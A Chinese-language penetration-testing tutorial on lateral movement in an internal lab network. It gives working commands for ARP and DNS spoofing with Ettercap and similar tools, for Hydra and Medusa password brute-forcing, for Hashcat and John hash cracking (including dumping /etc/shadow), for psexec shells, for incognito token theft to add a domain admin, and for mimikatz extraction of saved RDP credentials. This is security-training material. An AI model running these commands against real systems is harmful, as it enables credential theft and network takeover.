渗透测试干货 | 横向渗透的常见方法

在已经攻占部分内网主机的前提下,利用现有的资源尝试获取更多的凭据、更高的权限,进而达到控制整个网段、拥有最高权限的目的。在很多时候,内网渗透的起点往往只是一台通过漏洞攻陷的跳板,横向渗透就是通过这个突破口去不断扩大在本网段内的战果。

进入内网维持好权限后接下来要做的就是对当前网络信息进行全面的信息收集。分析自己所处的网络位置、计算机信息、横向资产、服务与端口(漏洞扫描及利用)、敏感数据(如ftp链接记录、浏览器访问记录、各服务保存的密码、数据库等)。端口服务常见攻击方法有:爆破、漏洞利用、欺骗、钓鱼


一、系统漏洞

根据补丁信息,掏出EXP利用常规系统漏洞对整个网段进行扫描并利用。

二、流量监听

监听对象是网段内未加密的一些服务协议,主要内容包括服务连接密码、网站登录密码、敏感数据等

1. cain

cain适用于老版本服务器,实例:


          
win2003是web服务器,充当进入内网的跳板机(192.168.198.133) 
          
win7充当内网被攻击机(192.168.198.130)
      

win2003安装了cain。通过cain充当中间人做arp欺骗,截取靶机win7与网关通信的流量以获取不加密的敏感信息。

①选择网卡

picture.image

同时也可以修改默认端口。确认点击即可开始嗅探

picture.image

②嗅探中, 对网段进行主机存活扫描

picture.image

③选择网关以及欺骗目标主机

picture.image

④开始欺骗

picture.image

此时在靶机里面可以看见网关和win03的mac地址相同,说明已经完成arp欺骗

picture.image

⑤开始监听 ,监听后在目标机器win7里面打开任意http登录框输入密码进行登录:

picture.image

⑥此时在cain里面,成功 抓取密码****

picture.image


1.1 抓取telnet登录密码
靶机win7 telnet连接网段内任意设备

picture.image

抓取成功,用户名数据包重叠了,问题不大

1.2 抓取ftp登录密码
靶机win7 ftp登录网段内任意设备

picture.image

抓取成功

picture.image


2.wireshark

wireshark是网工必备神器,功能强大,这里只简单介绍到他的过滤语法进行流量监听。

① 抓取http流量


        
            

          http
        
      

picture.image

②抓取指定源地址的http流量


        
            

          http && ip.src==192.168.198.133
        
      

picture.image

③抓取post数据包含用户名及密码


        
            

          http && ip.src==192.168.198.133  && http.request.method=="POST"
        
      

picture.image

抓取到的登录信息:

picture.image

④抓取访问指定目标地址的http流量


        
            

          http && ip.dst==192.168.198.133
        
      

picture.image


2.1抓取ftp


        
            

          ftp && ip.dst==192.168.198.133
        
      

picture.image


        
            

          telnet && ip.dst==192.168.198.133
        
      

抓取到的telnet是一个一个字符传递数据,所以根据tcp码流将所有流量合成一个数据包进行分析(右键单击数据包点击)


三、ARP欺骗

进行arp欺骗后,可进行域名欺骗、网页内容欺骗、dns解析欺骗+钓鱼攻击等进一步操作。

1.netfuke

和cain工具一样只适用于老版本服务器。
①嗅探设置

picture.image

来源IP栏输入网关地址,中间人写本机IP。

picture.image

可以将钓鱼页面以html格式文件写到这里

picture.image

③启动欺骗之后。在目标浏览器上,所有web网站都会强制跳转到html页面。

picture.image


2. Foca evail

Foca evail适合高版本服务器,需要dotnet 4.5以上环境。打开工具设置网卡之后会自动识别同网段其他主机和网关

picture.image

①arp中间人攻击
选择网关及目标机器进行ipv4攻击

picture.image

②配置dns劫持欺骗
劫持dns解析过程,在主机将www.baidu.com域名发送到dns服务器时进行劫持返回主机伪造的其他的IP地址。这里将百度的域名解析到192.168.198.1这个IP上。(若勾选wildcard选项表示劫持所有域名)

picture.image

③成功劫持
靶机上www.baidu.com已经解析到IP 192.168.198.1。利用dns劫持可以进行钓鱼攻击

picture.image


3. ettercap

ettercap是kali一款功能强大的欺骗攻击工具,既可以实现arp欺骗也可以实现复杂的中间人攻击。支持命令行和图形界面

arp欺骗
①ettercap -G 打开图形界面
②扫描存活主机
accept>hosts>scan for hosts,扫描完成后依次点击hosts>hosts list,可查看当前网络主机列表

picture.image

③选择攻击目标设为target 1,网关设为 target 2

picture.image

④选择中间人攻击类型。设置arp监听,然后开始攻击

picture.image

picture.image

⑤成功抓取密码

picture.image


Dns欺骗
①设置欺骗的目标ip以及指定目标网址


        
            

          vi /etc/ettercap/etter.dns
        
      

picture.image

②accept>hosts>scan for hosts,扫描完成后hosts>hosts list,可查看主机列表。设置欺骗目标,开启arp欺骗


        
            

          ettercap -G
        
      

picture.image

③设置插件
plugins》manage plugins》dns_spoof

picture.image

④dns欺骗
这里也可以看到记录的密码

picture.image

⑤dns欺骗成功

picture.image

ettercap命令行


          
ettercap -T -q -i eth0 -M arp:remote /192.168.198.130// /192.168.198.2//
          
#目标:192.168.198.130
          
#网关:192.168.198.2
      

抓取密码成功,这里还能抓到cookie,如果没法抓到密码可以抓cookie登录

picture.image


四、服务密码攻击

1.在线爆破 在线爆破受网络因素、字典、电脑性能影响较大。扫描端口分析服务进行爆破攻击:smb、telnet、ftp、rdp、mysql、mssql、ssh

Hydra爆破telnet


        
            

          hydra -L /root/dict/usename.txt -P /root/dict/password.txt -t 20 telnet://192.168.198.133:23
        
      

picture.image

Hydra爆破ftp


        
            

          hydra -L /root/dict/usename.txt -P /root/dict/password.txt -t 20 ftp://192.168.198.133:21
        
      

picture.image

Hydra爆破smb


        
            

          hydra -L /root/dict/usename.txt -P /root/dict/password.txt -t 20 smb://192.168.198.133:445
        
      

picture.image

Hydra爆破ssh


        
            

          hydra -L /root/dict/usename.txt -P /root/dict/password.txt -t 20 ssh://192.168.198.131:22
        
      

picture.image

Hydra爆破rdp 。存在误报情况,未知原因:


        
            

          hydra -L /root/dict/usename.txt -P /root/dict/password.txt -t 20 rdp://192.168.198.133:3389
        
      

picture.image


medusa
medusa 工具是通过并行登录暴力破解的方法,尝试获取远程验证服务访问权限。medusa能够验证的远程服务,如ftp/http/imap/mssql/netware/nntp/pcanywhere/pop3/snmp/sshv2/telnet/vnc 等服务密码。个人觉得没有hydra用起来丝滑


        
            

          medusa -h 192.168.1.8 -U /root/dict/usename.txt -P /root/dict/password.txt -M telnet
        
      

picture.image


其他–超级弱口令工具

线程越低越精确

picture.image

2.离线爆破

得到目标密文后本地加载字典爆破。不用考虑网络因素,对字典、电脑性能要求高

2.1 hash-identifier --用于识别密文加密的算法类型的工具

picture.image

2.2 Hashcat
Hashcat系列软件包含Hashcat、oclHashcat、oclRausscrack。其区别为Hashcat只支持cpu破解;oclHashcat和oclGausscrack则支持gpu加速。oclHashcat则分为AMD版和NIVDA版。


        
            

          -m #指定加密类型,跟上对应的id号。id号对应编码方式如下图
        
      

picture.image


        
            

          -a #指定爆破攻击模式,常用0和3。0表示加载字典爆破,3表示边生成字典边爆破
        
      

picture.image

①字典爆破


          
#使用字典破解密码,a.hash是指要爆破的密文,password.txt是指密码字典。-o 1.txt输出为文件
          
hashcat /root/dict/a.hash -m 0 -a 0 /root/dict/password.txt --force
      

picture.image

②掩码破解


        
            

          -a 3 #一边生成字典一边爆破
        
      

picture.image


          
?l #小写字母
          
?u #大写字母
          
?d #纯数字
          
?h #小写十六进制
          
?H #大写十六进制
          
?s #特殊字符
          
?a #等于?l?u?d?s
          
#例如:生成8位纯数字爆破
          
hashcat a.txt -m 0 -a 3 ?d?d?d?d?d?d?d?d
      

指定爆破位数且为每一个字母指定类型


          
hashcat /root/dict/a.hash -m 0 -a 3 ?l?l?l?l?d?d?d --force
          
# test123>?l?l?l?l?d?d?d
      

picture.image

组合爆破


          
--custom-charset1=?l?d ?1?1?1?1?1?1?1?1
          
# 表示生成8位(?1表示数字和小写字母的组合)由小写字母和数字组合形成的字典
          
hashcat /root/dict/a.hash -m 0 -a 3 --custom-charset1=?l?d ?1?1?1?1?1?1?1?1 --force
      

picture.image


john

1.破解windows密码。用hashdump7或者mimikatz 导出windows hash为1.txt


        
            

          john -format=NT /root/1.txt
        
      

2.破解Linux shadow文件


          
cat /etc/shadow > shadow.txt
          
john shadow.txt
          
john shadow.txt --show
      

picture.image


压缩包爆破

1.Fcrackzip


          
#安装
          
apt-get install fcrackzip
          
-b   #指定模式为暴破
          
-c   #指定密码类型字。(a=a-z;1=0-9;!=特殊字符;-ca1!)
          
-u   #显示破解出来的密码
          
-l 5-6 #指定密码长度
          
-D   #使用字典
          
-p   #使用字符串作为初始密码文件
          
-threads #线程
      

          
#爆破密码为数字
          
fcrackzip -b -ca1 -l 1-6 -u ip.zip
          
#带字典爆破
          
fcrackzip -D -p pass.txt -u 1.zip
      

2.rarcrack

该软件用于暴力破解压缩文件的密码,但仅支持RAR, ZIP, 7Z这三种类型的压缩包
执行命令: rarcrack 文件名 -threads 线程数 -type rar|zip|7z


        
            

          rarcrack 123.zip --threads 10 --type zip
        
      

如果允许出现错误。那么可以执行sudo apt-get install libxml2-dev libxslt-dev进行修复。

picture.image


shell控制连接

通过端口爆破445得到账号密码。没有开3389没法直接登录,此时借用psexec直接调用cmd登录。也可以通过incognito劫持token,如果有域管理员token劫持DC,创建一个域管理员出来

1.psexec.exe


        
            

          下载地址:https://github.com/crupper/Forensics-Tool-Wiki/blob/master/windowsTools/PsExec64.exe
        
      

通过得到的账号密码信息链接跳板机,通过smb爆破得到账号密码,如果目标没有开启3389/23服务无法直接登录,借助psexec.exe工具通过smb服务调用目标cmd


        
            

          psexec.exe \\192.168.198.138 -u administrator -p 123456 cmd
        
      

picture.image


2.incognito.exe提权


          
#查看本机可以利用的token
          
incognito.exe list_tokens -u
          
#查看远程机器可以利用劫持的token
          
incognito.exe -h 192.168.198.138 -u administrator -p 123456 list_tokens -u
      

picture.image


          
#调用远程机器的本地系统权限的cmd.exe,查看可以劫持的权限
          
incognito.exe -h 192.168.198.138 -u administrator -p 123456 execute -c "NT AUTHORITY\SYSTEM" cmd.exe
      

picture.image


          
#域控账号登陆过普通主机,可以尝试拿到域低权限账号利用incognito工具劫持域控身份
          
#查找被攻击的计算机中是否有DC的token
          
incognito.exe -h 192.168.200.11 -u admin -p 123123 list_tokens -u  
          
#利用DA的token创建新的DC,调用DC的cmd.exe
          
incognito.exe -h 192.168.200.11 -u admin -p 123123 execute -c "XY\ADMINISTRATOR" cmd.exe  
          
#执行创建DC命令
          
net user hh 123.com /add /domain
          
net group "domain admins" hh /add /domain
      

Linux下通过smbclient访问windows共享目录
1.安装smbclient


        
            

          yum -y install samba-client/apt-get install samba-client
        
      

2.查看共享


        
            

          smbclient -L 192.168.1.8 -U administrator 
        
      

picture.image

3.smb连接


        
            

          smbclient //192.168.1.8/tools -U administrator
        
      

picture.image

执行smbclient命令成功后,进入smbclient环境,出现提示符:smb:/> 这里命令和ftp命令相似,如cd 、lcd、get、megt、put、mput等。通过这些命令,我们可以访问远程主机的共享资源

picture.image


本地rdp密码读取

1.查看当前服务器历史记录


          
#查看rdp连接历史记录
          
cmdkey /list
      

picture.image

2.查找保存在本地的认证,得到对应路径以及值


        
            

          dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*
        
      

picture.image

得到:


        
            

          
 C:**加粗样式**\Users\admin\AppData\Local\Microsoft\Credentials\1F914B4D8F36DFD93C3A37B7D5491363
 
        
      

3.运行mimikaz,获取guidMasterKey


          
mimikatz
          
dpapi::cred /in:C:\Users\MIN\AppData\Local\Microsoft\Credentials\1F914B4D8F36DFD93C3A37B7D5491363
      

picture.image

接下来需要使用的是guidMasterKey、pbData数据。pbData是凭据的加密数据,guidMasterKey是凭据的GUID。
4.获取MasterKey
根据目标凭据GUID找到其关联的MasterKey,这个MasterKey就是加密凭据的密钥,即解密pbData所必须的东西。


        
            

          mimikatz.exe ""privilege::debug"" ""sekurlsa::dpapi full"" exit >> c:\log.txt
        
      

根据guid获取到masterkey

picture.image

5.mimikatz破解密码


        
            

          dpapi::cred /in:C:\Users\admin\AppData\Local\Microsoft\Credentials\1F914B4D8F36DFD93C3A37B7D5491363/masterkey:3d5c95de7ccd3a1d468efd0d90a42330cdcf06d0e7ee834a443907384a6b25dab8d8ab32c8c9540605711d689304ecab949e168719551d2423498168f7fec6ac
        
      
0
0
0
0
评论
未登录
暂无评论